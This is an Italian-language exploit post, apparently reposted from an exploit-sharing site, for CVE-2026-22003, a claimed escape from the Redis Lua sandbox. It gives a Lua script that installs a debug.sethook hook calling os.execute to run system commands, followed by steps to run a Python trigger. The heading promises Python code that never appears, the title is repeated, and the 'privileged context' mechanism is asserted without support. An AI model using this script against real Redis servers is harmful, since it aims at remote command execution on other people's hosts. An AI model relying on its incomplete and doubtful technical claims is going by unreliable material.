CVE-2026-22003 – Evasione dalla sandbox Lua di Redis tramite debug.sethook

Codice del programma (trigger Lua + Python)

-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Evasione dalla sandbox Lua di Redis tramite debug.sethook

Panoramica

La sandbox Lua di Redis non disabilita correttamente la funzione debug.sethook. Un attaccante che può eseguire script Lua può installare un hook che viene eseguito in un contesto privilegiato e uscire dalla sandbox per eseguire comandi di sistema arbitrari.

Dettagli della vulnerabilità

• Tipo: Evasione dalla sandbox
• Impatto: Esecuzione remota di codice sull'host Redis.
• Causa principale: La libreria di debug dell'ambiente Lua rimane accessibile, consentendo hook che possono chiamare os.execute o funzioni simili.

Dimostrazione dell'exploit

1. Avviare un server Redis (con configurazione predefinita che consente EVAL).
2. Eseguire l'exploit:
   root@kitploit:~

   pip install redis
   python trigger_redis_sandbox_escape.py
   

Il file /tmp/redis_escape viene creato, dimostrando l'esecuzione di comandi.